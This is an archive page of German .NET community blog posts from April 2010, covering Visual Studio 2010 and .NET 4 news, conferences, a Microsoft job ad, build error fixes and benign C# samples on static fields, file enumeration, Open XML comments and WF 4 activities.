.
Anmeldung | Registrieren | Hilfe

.NET-Blogs Archiv April 2010

Artikel in der Visual Studio One

30.04.2010 21:55:00 | Jan Christian Selke

Heute ist es soweit! Mein Artikel zum Thema Open Xml mit dem Titel “Word-Dokumente am laufenden Band” wurde in der aktuellen Ausgabe 03/2010 der Visual Studio One Ausgabe abgedruckt.

Ein kurzer Teaser meines Artikels kann hier eingesehen werden.

Alle, denen der Artikel gefallen hat, dürfen sich gerne an der laufenden Umfrage der Visual Studio One beteiligen und dafür abstimmen. ;-)

dotnet Cologne 2011

30.04.2010 18:00:00 | Martin

Ab heute sind es noch 4 Wochen bis zur dotnet Cologne 2010, der Community Konferenz zum Launch von Visual Studio 2010 und .NET Framework 4, veranstaltet von der .NET User Group Köln und Bonn-to-Code.net.

Die Konferenz ist praktisch ausgebucht und die Sprecher und Sessions stehen fest, aber trotzdem ist für Albert, Roland und mich noch jede Menge zu tun. Mit rund doppelt so vielen Teilnehmern und Sessions wie die dotnet Cologne 2009 hat die Veranstaltung nun eine Größe erreicht, die gerade noch so als Community Konferenz organisiert werden kann. In diesem Jahr haben wir zum ersten Mal ein Hotel als Veranstaltungsort gewählt, was jedoch nur durch die zahlreichen Sponsoren und die ehrenamtlichen Sprecher möglich geworden ist.

Bei den Sessions haben wir uns viel Mühe gegeben, aus den zahlreichen eingegangenen Vorschlägen einen guten Querschnitt der Themen rund um Visual Studio 2010 und .NET 4 zu bieten. Ich selbst werde in meiner Session über Silverlight 4 sprechen und die interessantesten Neuerungen vorstellen.

Im Anschluss an die Konferenz findet noch der Grill-Abend des dotnet Forums statt. Die Teilnehmer des Forums können sich ab heute dafür anmelden.

DOT.NERD: Exklusiv im Comic der Visual Studio One 03/10: MSDN TV

30.04.2010 16:44:23 | Kay Giza

In der aktuellen Ausgabe 03/2010 der Zeitschrift "Visual Studio One - Die Zeitung für die Microsoft Developer Community" finden Sie aktuell und exklusiv MSDN TV im DOT.NERD-Comic vor! Finde ich echt gut gemacht! Hut ab! In der letzten Ausgabe 02/10 war "Clean Code Developer" das Thema! Lustige und interessante Idee wie ich finde, da schaut man gleich als erstes gespannt hin :-) und der MSDN TV-Comic ist echt gut gelungen! Macht Spaß! Mit freundlicher Genehmigung der ppedv AG, durfte ich den Comic hier auf meinem Weblog veröffentlichen. Schauen Sie sich den DOT.NERD-Comic rund MSDN TV jetzt an... [... mehr]

This post is powered by www.Giza-Blog.de | Giza-Blog.de: RSS Feed
Visit:  MSDN Online | Follow MSDN Online on Twitter | Follow Kay Giza on Twitter
Daily News on MSDN:  MSDN Aktuell
© Copyright 2006-2010 Kay Giza. All rights reserved. Legal
Subscribe

Anleitung zur Migration von Visual Source Safe nach TFS 2010

30.04.2010 13:28:46 | Thomas Schissler

So langsam reift bei den letzten Source Safe Moikanern die Erkenntniss, dass es nun langsam Zeit wird sich nach einer anderen Quellcodeverwaltung umzusehen und eigentlich liegt da inzwischen nichts näher als der Team Foundation Server 2010 der nicht nur eine erstklassige Versionsverwaltung mit bringt sondern der acuh eine Vielzahl weiterer ALM-Funktionen beinhaltet und vor allem inzwischen in der MSDN Subscription kostenloas enthalten ist.

Wer wissen will, wie er schnell und einfach von Source Safe auf TFS migriert, findet alle notwendigen Infos hier : http://msdn.microsoft.com/en-us/library/ms253060.aspx

Wanted: Community Developer Evangelist!!! Wir suchen Verstärkung!!!

30.04.2010 13:01:48 | Oliver Scheer

Die Developer Platform & Strategy Group innerhalb der Microsoft Deutschland GmbH betreut die Kreativen, IT-Professionals und Softwareentwickler in Deutschland. Wir sind für den gesamten Lebenszyklus vom Studium bis zum Arbeitsplatz und der Weiterbildung zuständig.
Die Hauptaufgabe des Developer Community Evangelisten (m/w) ist dabei die deutschen Developer-Communities über unsere Microsoft-Technologien mit großem Enthusiasmus und fundiertem Technik-Verständnis zu informieren und sie dafür nachhaltig zu begeistern. Speziell die Bereiche der Webentwicklung und Windows Client Entwicklung sollen dabei im Fokus stehen.

Aufgaben:

  • Vermitteln von aktuellen und kommenden Microsoft Technologien in ansprechender Form in Form von Webcasts, Auftritten auf Konferenzen und Schulungen, Blogs, Tweets, Foreneinträgen, PR-Arbeit, etc.
  • Aufbauen und Pflegen von professionellen Kontakten zu den verschiedenen Enwicklercommunities.
  • Erstellen von On- und Offline-Inhalten für die unterschiedlichen Zielgruppen
  • Ausarbeitung von überzeugenden Demoszenarien unserer Entwicklungs-Werkezuge und Technologien inkl. mitreißender Präsentation vor technischen Kundenzielgruppen.

Voraussetzungen:

  • Erfolgreich absolviertes Studium wünschenswert; idealerweise in den Bereichen Informatik oder Wirtschaftsinformatik.
  • Nachweisbare 3-5 Jahre Praxis-Erfahrung in der Softwareentwicklung mit exzellentem Wissen über die Microsoft Developer Plattform und die der Wettbewerber.
  • Speziell sollten folgende Technologien beherrscht werden: generell .net (4.0), ASP.NET, Visual C#, Visual Basic .NET, SQL Server, XNA, Windows Presentation Foundation, Silverlight, Flash, PHP, mySQL, Apache, Internet Information Services, HTML, XML, XAML, Cloud Computing Verständnis. Microsoft Certified Professional und andere Microsoft-Zertifizierungen ein Plus.
  • Generell ist ein ausgeprägtes technisches Verständnis gefragt mit hoher Bereitschaft dieses selbstständig und beständig auszubauen. Spaß an Software/Technik/Gadgets, sowie ansteckender Enthusiasmus dafür absolut erwünscht!
    Selbständige und proaktive Arbeitsweise mit hohem Anspruch an Qualität. Hohe Einsatz- und Reisebereitschaft.
  • Kreativ, belastbar und konstruktives Verhalten in Stress-Situationen.
    Hervorragende kommunikative Fähigkeiten (in Wort und Schrift), selbstsicheres und professionelles Auftreten.
  • Sehr guter Netzwerker (und wir meinen nicht Ethernet hier ;-)) , bestehendes Netzwerk in der Software/Entwickler-Community ein Plus.
  • Erfahrung in Pressearbeit wäre ein weiteres Plus.
  • Deutsch vergleichbar Muttersprachler und sehr gutes Englisch.

…und natürlich der Wunsch berühmt zu werden!!

Microsoft ist ein Arbeitgeber, der Chancengleichheit und Vielfältigkeit innerhalb der Belegschaft fördert. Wir möchten Sie in einer internationalen Arbeitswelt willkommen heißen, die durch Flexibilität und einer offenen sowie dynamischen Unternehmenskultur gekennzeichnet ist. Microsoft bietet attraktive Gehaltspakete und vielfältige Benefits. Als Gegenleistung für hervorragende Arbeit investieren wir in Ihre Gesundheitsvorsorge und finanzielle Zukunft und stellen sicher, dass Sie die Möglichkeit haben, Ihre Interessen und Leidenschaften auch außerhalb Ihrer Arbeitszeiten wahrnehmen zu können.

Mehr Informationen gibt es hier.

Fix: “Microsoft.WebApplication.targets was not found.”

29.04.2010 23:43:08 | Robert Mühsig

Wer mit MSBuild Webapplikationen baut (z.B. im Zusammenhang mit dem TFS 2008/2010) kann u.U. folgende Fehlermeldung erhalten: “The imported project C:\Program Files (x86) \MSBuild\Microsoft\VisualStudio\ v10.0\WebApplications\ Microsoft.WebApplication.targets was not found.”. Einfachste Problemlösung: Visual Studio 2010/2008 installieren. Vor der .NET 4.0 Zeit: “The imported project "C:\Program Files\MSBuild\Microsoft\VisualStudio\v8.0\WebApplications\Microsoft.WebApplication.targets" was not found” Wer mit .NET 4.0 [...]SHARETHIS.addEntry({ title: "Fix: “Microsoft.WebApplication.targets was not found.”", url: "http://code-inside.de/blog/2010/04/29/fix-microsoft-webapplication-targets-was-not-found/" });

The Type initializer for '{0}' threw an exception - oder warum die Reihenfolge statischer Felder nicht egal ist...

29.04.2010 18:06:00 | Wolfgang Kluge

Heute hab ich in einem Projekt meine Klassen etwas aufgeräumt und dabei auch die Reihenfolge der Methoden, Eigenschaften und Variablen angepasst. Der Build des Projekts war erfolgreich - die Tests danach aber nicht. Es erschien der Fehler:

The Type initializer for '{0}' threw an exception.

Da ich mir aber sicher war, dass ich wirklich nur Elemente auf Klassenebene verschoben hab, hat mich das wirklich sehr verwundert... Aus dem StackTrace konnte man entnehmen, dass es sich um den statische Konstruktor (.cctor()) handelt. Nun, ich schreibe oft statische Konstruktoren, aber in aller Regel ohne jeglichen Inhalt, weswegen der Grad der Verwunderung dementsprechend stieg.

Kurzum, der Fehler liegt wirklich an der Reihenfolge, allerdings geht es hierbei ausschließlich um statische Felder, die in der richtigen Reihenfolge definiert sein müssen. Bei genauerer Betrachtung ist das auch nur logisch. Ich hätte mir an der Stelle eine schöne Kompiler-Fehlermeldung gewünscht.

Ein einfaches Beispiel zeigt, worum es genau geht.

public class Test {
    private static readonly decimal x = 1 / y;
    private static readonly int y = 8;

    static Test() { }
}

Sobald eine Instanz der Klasse erstellt wird, kommt es zu einer Division durch 0 (bzw. zum Versuch desselben) und damit zu besagter Ausnahme.
Zur Veranschaulichung hier noch das Äquivalent. y ist bei der ersten Verwendung noch mit dem default-Wert belegt - und der ist nunmal 0.

public class Test {
    private static readonly decimal x;
    private static readonly int y;

    static Test() {
        x = 1 / y;
        y = 8;
    }
}

Damit ist aber auch klar, dass man die Initialisierung statischer Variablen innerhalb des statischen Konstruktors selbst vornehmen sollte - zumindest wenn diese von anderen Variablen abhängen.

Fix: .NET 4.0 ASP.NET MVC on IIS 7.5 "PageHandlerFactory-Integrated" has a bad module "ManagedPipelineHandler"

29.04.2010 01:09:14 | Robert Mühsig

Wer .NET 4.0 und ASP.NET MVC (und wahrscheinlich viele weitere ASP.NET Beispiele/Frameworks) nutzen möchte, der muss eine kleine Sache beachten: Man muss .NET 4.0 am IIS installieren, ansonsten quittiert der IIS es mit  engl. “Internal Server Error Handler "PageHandlerFactory-Integrated" has a bad module "ManagedPipelineHandler" in its module list” “Der Handler "PageHandlerFactory-Integrated" weist das ungültige Modul [...]SHARETHIS.addEntry({ title: "Fix: .NET 4.0 ASP.NET MVC on IIS 7.5 "PageHandlerFactory-Integrated" has a bad module "ManagedPipelineHandler"", url: "http://code-inside.de/blog/2010/04/29/howto-net-4-0-asp-net-mvc-on-iis-7-5-pagehandlerfactory-integrated-has-a-bad-module-managedpipelinehandler/" });

Deutsche Infos zum Internet Explorer 9 (IE9) Platform Preview

28.04.2010 17:15:47 | Oliver Scheer

In deutscher Sprache steht jetzt eine kompakte Informationsschrift zum Internet Explorer 9 Platform Preview zum Download als PDF- oder als XPS-Dokument bereit. Kurz und knackig erfahren Sie auf knapp vier Seiten, an wen sich diese Vorschauversion richtet, warum Microsoft sich bereits derartig frühzeitig in die Karten schauen lässt, und was Sie vom Preview zu erwarten haben (aber auch, was Sie noch nicht erwarten sollten). Lesen Sie in unserer kleinen Faktensammlung, wie IE9 Ihre Möglichkeiten als Entwickler und als Anwender durch Leistungssteigerungen in mehreren Bereichen, durch erweiterte Interoperabilität, durch Unterstützung und Mitgestaltung bestehender und kommender Standards sowie durch neue Funktionalitäten noch besser unterstützen wird. Über die aktuelle Version des Internet Explorer sowie dessen Weiterentwicklung informiert das MSDN Developer Center tagesaktuell.

VSTO Versionen erklärt

28.04.2010 13:49:08 | Jens Häupel

Mit den Erscheinen von Visual Studio 2010 kommt wieder eine neue VSTO-Version zum Entwickler. Visual Studio 2008 brachte auch schon 2 davon mit. Damit die Verwirrung bzgl. VSTO- Version auf der einen Seite und Office, Visual Studio und .NET auf der anderen Seite nicht zu groß wird, habe ich das Ganze hier einmal erklärt.

Versionen

(Hinter dem Bild verbirgt sich eine etwa 5-minütige WMV-Datei)

Ab sofort! Kostenloser Download fuer alle: Visual Studio 2010 (Deutsch) sowie .NET Framework 4.0 (Deutsch)

28.04.2010 11:48:59 | Kay Giza

Nun ist es endlich soweit! Die verschiedenen Editionen von Microsoft Visual Studio 2010 stehen allen Kunden (nicht nur MSDN Subscription Kunden) ab sofort kostenfrei zum Download in deutscher Sprache als Testversionen zur Verfügung. Weiterhin sind auch für alle Kunden die "Vollversionen" des .NET Framework 4.0 in deutscher Sprache verfügbar. In diesem Blogpost finden Sie alle Download-Links, weiterführende Hinweise sowie hilfreiches Hintergrundwissen. Inhalt des Blogpostings: Download der Vollversionen von Visual Studio 2010 und .NET Framework 4.0 in englischer Sprache für MSDN Subscription Kunden | Download der Vollversionen von Visual Studio 2010 und .NET Framework 4.0 in deutscher Sprache für MSDN Subscription Kunden | Kostenloser Download der Testversionen von Visual Studio und der Vollversionen von .NET Framework 4.0 für alle in deutscher Sprache | Weiterführende Informationen, wichtige (kostenfreie) Downloads sowie Hinweise zu Trainings, Videos und vielen weiteren Materialien ... [... mehr in diese ausführlichen Blogeintrag auf Giza-Blog.de]

This post is powered by www.Giza-Blog.de | Giza-Blog.de: RSS Feed
Visit:  MSDN Online | Follow MSDN Online on Twitter | Follow Kay Giza on Twitter
Daily News on MSDN:  MSDN Aktuell
© Copyright 2006-2010 Kay Giza. All rights reserved. Legal
Subscribe

11.05.10 Treffen der .NET Developer Group Braunschweig - Event-Based Components - Die Zukunft der Komponentenorientierung

28.04.2010 07:45:00 | Lars Keller

Unser 45 User Group Treffen findet am 11.05.2010 um 19:00 in dem Restaurant Zucker (Tagungsraum) statt.

Dieses Mal kommt uns Ralf Westphal mit dem Thema “Event-Based Components - Die Zukunft der Komponentenorientierung” besuchen.

Achtung! Für dieses Event bitte ich um eine formlose Anmeldung per E-Mail (keller [@] dotnet-braunschweig [dot] de) bei mir.

Details zum Vortrag:

Softwarebausteine zusammenstecken wie Legobausteine - ist das möglich? Ja, das ist möglich und gar nicht schwer. Wer ein paar Konventionen folgt und sein Denken ein kleinwenig umstellt, kann das ohne großen Aufwand erreichen. Früher war methodenbasierter Aufruf von abhängiger Funktionalität; heute ist ereignisbasierte Kommunikation zwischen unabhängigen Funktionseinheiten. Der Gewinn solchen Umdenkens ist vielfältig: Nicht nur lässt sich Software dann wahrhaft zusammenstecken, sondern sie eröffnet ganz einfach Wege für den Einsatz von Standardbausteinen. Ereignisbasierte Komponenten (Event-Based Components, EBC) sind auch noch einfacher zu verstehen, weil sie sich selbst beschreiben. Darüber hinaus ebnet die lokale synchrone Ereignisorientierung den Weg zu asynchronen und sogar verteilten Architekturen.
Ralf Westphal führt in das ereignisorientierte Denken ein und zeigt, wie Sie mit EBC Architekturen viel einfacher beschreiben können als mit "traditionellen" Komponenten.


Ralf Westphal (www.ralfw.de) ist freiberuflicher Berater, Projektbegleiter, Autor und Trainer für Themen rund um .NET Softwarearchitektur. Er ist Autor von mehr als 450 Publikationen und Microsoft Most Valued Professional.
Mit Stefan Lieser hat er die Initiative „Clean Code Developer“ für mehr Softwarequalität ins Leben gerufen (www.clean-code-developer.de).

Wie immer ist dieses Event kostenlos und jeder .NET Interessierte ist herzlich willkommen!

Weitere Informationen zur DNUG Braunschweig findest du hier.

Internet Explorer 9 (IE9) Platform Preview Fact Sheet (Deutsch)

27.04.2010 19:14:11 | Kay Giza

Es freut mich hier exklusiv ankündigen zu dürfen, dass in deutscher Sprache jetzt eine kompakte Informationsschrift zum Internet Explorer 9 Platform Preview zum Download als PDF- oder als XPS-Dokument bereit steht. Kurz und knackig erfahren Sie auf knapp vier Seiten, an wen sich diese Vorschauversion der neuen Internet Explorer-Generation richtet, warum Microsoft sich bereits derartig frühzeitig in die Karten schauen lässt, und was Sie vom Preview zu erwarten haben (aber auch, was Sie noch nicht erwarten sollten :-))... [... lesen Sie den vollständigen Artikel auf Giza-Blog.de]

This post is powered by www.Giza-Blog.de | Giza-Blog.de: RSS Feed
Visit:  MSDN Online | Follow MSDN Online on Twitter | Follow Kay Giza on Twitter
Daily News on MSDN:  MSDN Aktuell
© Copyright 2006-2010 Kay Giza. All rights reserved. Legal
Subscribe

Tic Tac Toe For Windows Phone 7

27.04.2010 17:27:57 | Damir Tomicic

Mein Kollege Eugene Chaikin [1] beschäftigt sich sowohl beruflich als auch privat intensiv mit der Entwicklung für Windows Phone (sowohl Mobile 6.5 als auch Phone 7). Seine Begeisterung für die neue Plattform hat ihn sogar dazu veranlasst eine Menge nützliche Inhalte [2] in geschriebener und in audivisueller Form online zu veröffentlichen. Ich mag vor allem seine Webcasts auf YouTube ;-)

Empfehlenswert für alle die Interesse an der Software-Entwicklung für Windows Phone 7 Plattform zeigen. Und sicherlich bald eine der ersten Anlaufandressen zum Thema.

[1] http://www.eugenedotnet.com/WindowsPhone7.ashx
[2] http://www.youtube.com/results?search_query=eugenedotnet+Phone+7&aq=f

Ressourcen für die RO Expert Days – Windows 7 für Entwickler

27.04.2010 11:35:35 | Peter Kirchner

Da es schon wieder ein Weilchen her ist, möchte ich aufgrund aktueller Fragen noch einmal auf die Ressourcen verweisen, die wir bei den RO Expert Days – Windows 7 für Entwickler genutzt haben.

Die gesamten Folien können Sie auf dieser Seite hier finden:

http://blogs.msdn.com/softwarehersteller/pages/roed2win7.aspx

Die Code-Beispiele, die wir im Workshop verwendet haben, können Sie in den folgenden “Paketen” finden:

Nützliches in .NET 4.0

27.04.2010 03:21:00 | Jürgen Gutsch

Eben bin ich auf interessante Neuerungen der System.IO.Directory Klasse im .NET 4.0 gestoßen. Wenn man bisher alle Dateien und/oder alle Ordner eines übergeordneten Ordners erhalten wollte, konnte man das mit den statischen Methoden:

Man kann das auch in .NET 4.0 immer noch tun und erhält ein String-Array mit den gewünschten Einträgen.

Neu sind unter anderem folgende drei statischen Methoden:

Alle drei Methoden und deren Überladungen geben ein generisches IEnumerable vom Typ String zurück.

MSDN (Directory.EnumerateFiles-Methode (String))
Die EnumerateFiles-Methode und die GetFiles-Methode unterscheiden sich wie folgt: Wenn Sie EnumerateFiles verwenden, können Sie anfangen, die Auflistung von Namen aufzulisten, bevor die ganze Auflistung zurückgegeben wird; wenn Sie GetFiles verwenden, müssen Sie warten, bis das ganze Array von Namen zurückgegeben wird, bevor Sie auf das Array zugreifen können.Wenn Sie daher mit vielen Dateien und Verzeichnissen arbeiten, kann EnumerateFiles effizienter sein.

Das heißt konkret, die Verarbeitung der Daten kann gestartet werden, bevor alle Daten geladen sind. Die ideale Voraussetzung für LINQ:

IEnumerable<string> files =
  from file in Directory.EnumerateFiles("C:\\documents\\folder1\\")
  where file.EndsWith("*.docx", StringComparison.OrdinalIgnoreCase)
  select file;
foreach (string file in files)
{
  Console.WriteLine(file);
}

Einziger Kritikpunkt ist, dass kein FileInfo-, bzw. kein DirectoryInfo-Objekt zurückgegeben wird. Aber das kann man auch schnell selber erledigen:

IEnumerable<FileInfo> files =
  from file in Directory.EnumerateFiles("C:\\documents\\folder1\\")
  where file.EndsWith("*.docx", StringComparison.OrdinalIgnoreCase)
  select new FileInfo(file);
foreach (FileInfo file in files)
{
  Console.WriteLine(file.Name);
}

DotNetKicks-DE Image

msdn tv – Nachrichten für Entwickler (Ausgabe 07/2010)

26.04.2010 16:50:20 | Jan Schenk

Get Microsoft Silverlight

In der heutigen Folge präsentiert msdn tv ein Interview mit Developer Guru Scott Hanselman, den wir am Rande der Fachkonferenz „VSOne“ in München getroffen haben. Scott erzählt ein wenig über seine Rolle als Principal Program Manager in der Server & Tools Online Group (STO) von Microsoft, über sein Engagement als „Concierge“ für die Community, das anstrengende Leben eines Vortragsreisenden und seine schon legendäre Videocast-Reihe „Hanselminutes“.
In den Kurznachrichten vorab: Infos zur Verfügbarkeit von Visual Studios 2010 in seiner finalen Version und des Service Pack 2 für Expression Web 3, ein Ausblick auf den nächsten MSDN-TechTalk im Juni rund um die ’Windows Phone’-Entwicklung, ein Rückblick auf die letzte TechTalk-Runde zu „SharePoint 2010“ und schließlich die Ankündigung einer kostenlosen Microsoft-Veranstaltung unter dem Titel „Make Web, not War“. Durch die Sendung führt wie immer Pepita Schenk.

 

msdn tv ist ein neues Video-Nachrichtenformat, und hat seinen Ursprung auf MSDN Online (http://www.msdn-online.de/msdntv/). Alle zwei Wochen präsentiert Ihnen Jan Schenk, Developer Evangelist mit Hut, die wichtigsten Neuigkeiten für Entwickler, Hintergrundberichte und Interviews zu aktuellen Technologien sowie Highlights von Messen und Konferenzen. Das ganze kompakt, in ca. 15 Minuten erfrischend jung verpackt , und sowohl als Download für Ihren Rechner oder im Online-Player per Streaming verfügbar.

msdn tv is a German-speaking new and innovative video news series, and has originally been featured exclusively on the German MSDN Online Platform (http://www.msdn-online.de/msdntv/). Hatted Developer Evangelist Jan Schenk biweekly presents latest news for developers, background-stories and interviews concerning current and upcoming technologies, as well as video-highlights from fairs and conferences. Packed into 15 minutes, these news videos feature a fresh informative style, and are downloadable as well as available as online streaming video.

Team Foundation Server 2010 RTM Power Tools

26.04.2010 14:54:56 | Christian Binder

image

Die RTM Version der Power Tools ist in der Visual Studio Gallery hier verfügbar. Was ist Alles drin?

  • Alerts Explorer
  • Custom Check-in Policy Pack
  • Process Editor
  • Team Explorer Enhancements
  • Team Foundation Power Tool (TFPT.EXE) Tool
  • Team Members
  • Windows PowerShell Cmdlets for Visual Studio Team System Team Foundation Server
  • Windows Shell Extensions (Source Control Integraion via Windows Shell)
  • Work Item Templates

Viel Spass
Chris

Kostenlos: TechTalk Juni 2010: Einsteigen in die Windows Phone 7-Entwicklung

26.04.2010 14:31:50 | Kay Giza

Ich freue mich, ich glaube da gehe ich auch hin :) Ein Thema, zwei Experten, fünf Termine: Im Juni 2010 geht der MSDN TechTalk wieder auf seine Tour durch fünf deutsche Städte. Die beiden Referenten Frank Prengel und Oliver Scheer widmen sich dabei ganz dem Thema "Entwicklung für Windows Phone 7". Microsoft definiert seine mobile Smartphone-Plattform neu: Windows Phone 7... [... mehr auf Giza-Blog.de]

This post is powered by www.Giza-Blog.de | Giza-Blog.de: RSS Feed
Visit:  MSDN Online | Follow MSDN Online on Twitter | Follow Kay Giza on Twitter
Daily News on MSDN:  MSDN Aktuell
© Copyright 2006-2010 Kay Giza. All rights reserved. Legal
Subscribe

Microsoft Web Camp: Kostenloser Event fuer Web-Entwickler

26.04.2010 14:18:18 | Kay Giza

Web-Developer aufgepasst! Im Mai und Juni 2010 tourt Microsoft mit seinen "Web Camps" einmal um den Globus und macht Station in den großen Metropolen dieser Welt. Nach Moskau, Sydney, Peking, Singapur und London ist die Roadshow am 7. und 8. Juni 2010 auch in Unterschleißheim bei München zu Gast. Die kostenlose Veranstaltung richtet sich an Web Developer und stellt die neuesten Microsoft-Technologien in Sachen Webentwicklung detailliert vor. Der erste Tag widmet sich ganz... [...mehr]

This post is powered by www.Giza-Blog.de | Giza-Blog.de: RSS Feed
Visit:  MSDN Online | Follow MSDN Online on Twitter | Follow Kay Giza on Twitter
Daily News on MSDN:  MSDN Aktuell
© Copyright 2006-2010 Kay Giza. All rights reserved. Legal
Subscribe

Download: Visual Studio 2010 auf Deutsch verfuegbar: Hintergrundwissen, Links und Infos

26.04.2010 13:49:44 | Kay Giza

In meinem Blogartikel 'Download + Infos: Visual Studio 2010 (Final, Englisch) sowie .NET Framework 4.0 erschienen' berichtete ich bereits über die offizielle Verfügbarkeit von Visual Studio 2010 (VS2010). Nun ist seit einigen Tagen auch die deutschsprachige Version verfügbar. Inhaber einer MSDN Subscription haben ab sofort auch Zugriff auf die deutschsprachigen Editionen von Visual Studio 2010 und .NET Framework 4. Öffentlich bereits verfügbar ist auch die deutschsprachige Dokumentation für Visual Studio 2010 und zugehörige Programmiersprachen und Technologien in unserer deutschsprachigen Online-MSDN Library. Lesen Sie sich da doch einfach schon einmal ein. Kostenfreie Unterstützung... [... lesen Sie den ausführlichen Blogartikel auf Giza-Blog.de ]

This post is powered by www.Giza-Blog.de | Giza-Blog.de: RSS Feed
Visit:  MSDN Online | Follow MSDN Online on Twitter | Follow Kay Giza on Twitter
Daily News on MSDN:  MSDN Aktuell
© Copyright 2006-2010 Kay Giza. All rights reserved. Legal
Subscribe

Word Dokumente auf mögliche Überarbeitung prüfen – Teil 2

26.04.2010 13:46:00 | Jan Christian Selke

Zuletzt schrieb ich über die Prüfung auf vorhandene Kommentare in Dokumenten. Hierbei handelt es sich natürlich nicht um die einzige Art und Weise der Überarbeitung. Die vielleicht sogar häufiger genutzte Variante ist mit Sicherheit die Änderungsverfolgung.

Daher möchte ich in aller Kürze auch noch einmal auf die Prüfung vorhandener Änderungen in einem Dokument eingehen.

Da hier mal wieder Pionierarbeit von Eric White geleistet wurde, möchte ich an dieser Stelle auch einfach nur auf den bereits vorhandenen Post determining if an open xml wordprocessingml document contains tracked changes verweisen.

Neue Folge von Silverlight-Expertise: "Doppelklick implementieren" und "Der eigene Assembly Preloader"

26.04.2010 08:46:00 | Gregor Biswanger

In der aktuellen Ausgabe vom dot.net magazin gibt es eine neue Folge von meiner Silverlight-Kolumne “Silverlight-Expertise”:

Silverlight-Expertise - Die Crème de la Crème des Monats

Die Serie „Silverlight-Expertise“ des dot.NET Magazins präsentiert monatlich zwei leckere Top-How-tos zum Thema Silverlight von Gregor Biswanger (www.dotnet-blog.net), sodass Einsteiger und fortgeschrittene Silverlight-Experten durch geballtes Wissen gesättigt werden. Heute stehen auf der Menükarte „Doppelklick implementieren“ und „Der eigene Assembly Preloader“. Viel Spaß und einen guten Appetit.

Zu lesen sind die How-To´s beim dot.net magazin, Ausgabe 05/2010.

'Agile Muster und Methoden' auf Platz 3 bei amazon

26.04.2010 01:22:06 | Manfred Steyer

Das ist ja wirklich ein tolles Feedback: Mein Buch zu Agile Muster und Methoden, mit dem ich ein Werkzeug zur Entwicklung einer individuellen agilen Software Entwicklungs-Methode bereitstelle, war heute bei amazon in der Kategorie IT-Ausbildung & Berufe/ Softwareentwicklung auf Platz 3; in der Kategorie Praktische Informatik/ Softwareentwicklung auf Platz 5. Bei den Medizinern war es auf Platz 13 :)



Weitere Infos auf amazon ...

Word Dokumente auf mögliche Überarbeitung prüfen

26.04.2010 00:47:00 | Jan Christian Selke

Trotz automatischer Dokumenterstellung auf dem Server, kann es immer wieder aus verschiedensten Beweggründen notwendig sein, dass manuelle Zwischenschritte erfolgen. Genau dies war in einem Projekt der Fall. Ein wesentlicher Bestandteil dieser Zwischenschritte war die manuelle Überarbeitung der automatisch generierten Dokumente.

Die Dokumente wurden aber nicht nur überarbeitet, sie wurden kommentiert. Diese so kommentierten Dokumente wurden wieder in den Prozess überführt, was prompt zum Ergebnis hatte, dass die weitere Erstellung die interessantesten Effekte produzierte. Darauf hin wurde überprüft, ob noch Kommentare in Dokumenten vorlagen, um zu vermeiden diese erneut dem Prozess hinzuzufügen.

Kommentare sind quasi zusammengesetzte Elemente und werden durch Start- und End-Tags repräsentiert. Das Start-Tag ist w:commentRangeStart das End-Tag wird repräsentiert durch w:commentRangeEnd. Zusätzlich gibt es das Element w:commentReference. Dieses verweist auf den eigentlichen Inhalt des Kommentars im CommentsPart – der Datei comments.xml – anhand des gemeinsamen Attributes id.

comment

Das Besondere ist, dass nicht alle Elemente zusammen vorkommen müssen. Existiert ein Start- ohne End-Tag, wird die Position des Start-Tags als Anker genutzt. Existieren Start- und End-Tag wird die gesamte Range als kommentiert angesehen. Existieren weder Start- noch End-Tag aber ein Referenz-Element, wird dieses, wie das einzelne Start-Tag, als Anker verwendet. Gibt es aber einzig keine Referenz, wird der Kommentar ignoriert.

Wie können jetzt aber Kommentare im Dokument aufgespürt werden? Das immer vorhandene Merkmal ist das Start-Tag. So wird die Suche nach Kommentaren an der Existenz eines Start-Tags ausgerichtet. Beinhaltet ein Dokument das Start-Tag, ist die Bedingung hinreichend erfüllt, dass das Dokumente kommentiert ist.

Kommentare können aber nicht nur im MainDocumentPart vorkommen. In folgenden Parts können Kommentare eingefügt werden:

  • MainDocumentPart
  • Header
  • Footer
  • FootNotes
  • EndNotes

Eine Prüfung über alle relevanten Parts könnte also wie folgt aussehen:

public bool IsCommented(string file)
{
using (WordprocessingDocument package = WordprocessingDocument.Open(file, false))
{
MainDocumentPart mainDocumentPart = package.MainDocumentPart;
return ContainsComment(mainDocumentPart)
|| ContainsComment(mainDocumentPart.FootnotesPart)
|| ContainsComment(mainDocumentPart.EndnotesPart)
|| ContainsComment((IEnumerable<OpenXmlPart>) mainDocumentPart.HeaderParts)
|| ContainsComment((IEnumerable<OpenXmlPart>) mainDocumentPart.FooterParts);
}
}

private bool ContainsComment(OpenXmlPart openXmlPart)
{
return openXmlPart.RootElement.Descendants().Any(x => x is CommentRangeStart);
}

private bool ContainsComment(IEnumerable<OpenXmlPart> openXmlParts)
{
foreach (var part in openXmlParts)
{
if(part.RootElement.Descendants().Any(x => x is CommentRangeStart))
{
return true;
}
}


return false;
}

Benutzerdefinierte Workflow-Aktivitäten in WF 4

25.04.2010 21:43:11 | Manfred Steyer

Ich hab' zu Demo-Zwecken ein Beispiel erstellt, welches viele Aspekte der Implementierung von Workflow-Aktivitäten für WF 4 durch Ableiten von NativeActivity aufzeigt. Ich nenne diese Aktivität CountingWhile, weil sie eine While-Schleife darstellt, welche einen Zähler hochzählt (der aber nichts mit der Bedingung der Schleife zu tun hat).

Im Konstruktor wird der Body (= die Sub-Aktivität) instanziert. Im Zuge dessen wird definiert, dass der int , der an die Sub-Aktivität weitergereicht wird, über den Variablennamen PassedIndex angesprochen werden kann. In CacheMetadata werden die einzelnen Variablen, Argumente und Subaktivitäten bei der Workflow-Runtime registriert (für Argumente werden Instanzen von RuntimeArgument registriert und mit den Argumenten via Bind verbunden). Über Execute erfolgen einige verschachtelte asynchrone Aufrufe. Das folgende Listing beinhaltet den gesamten Quellcode. Das zweite Listing beinhaltet den Kern des dazugehörigen ActivityDesigners, auf den in der ersten Zeile im ersten Listing verwiesen wird.

Es wird in ein paar Wochen von mir eine Einführung über WF 4 im .Net-Magazin geben, wo ich diese Dinge und weitere etwas ausführlicher erklären werde.


[Designer(typeof(CountingWhileDesigner))]
public class CountingWhile : NativeActivity
{
[Browsable(false)]
public ActivityAction<int> Body { get; set; }
public Activity<bool> Condition { get; set; }
private Variable<int> CurrentIndex = new Variable<int>("CurrentIndex");

public InArgument<int> StartIndex { get; set; }
public OutArgument<int> Index { get; set; }

public CountingWhile()
{
this.Body = new ActivityAction<int>
{
Argument = new DelegateInArgument<int>
{
Name="PassedIndex"
}
};
}

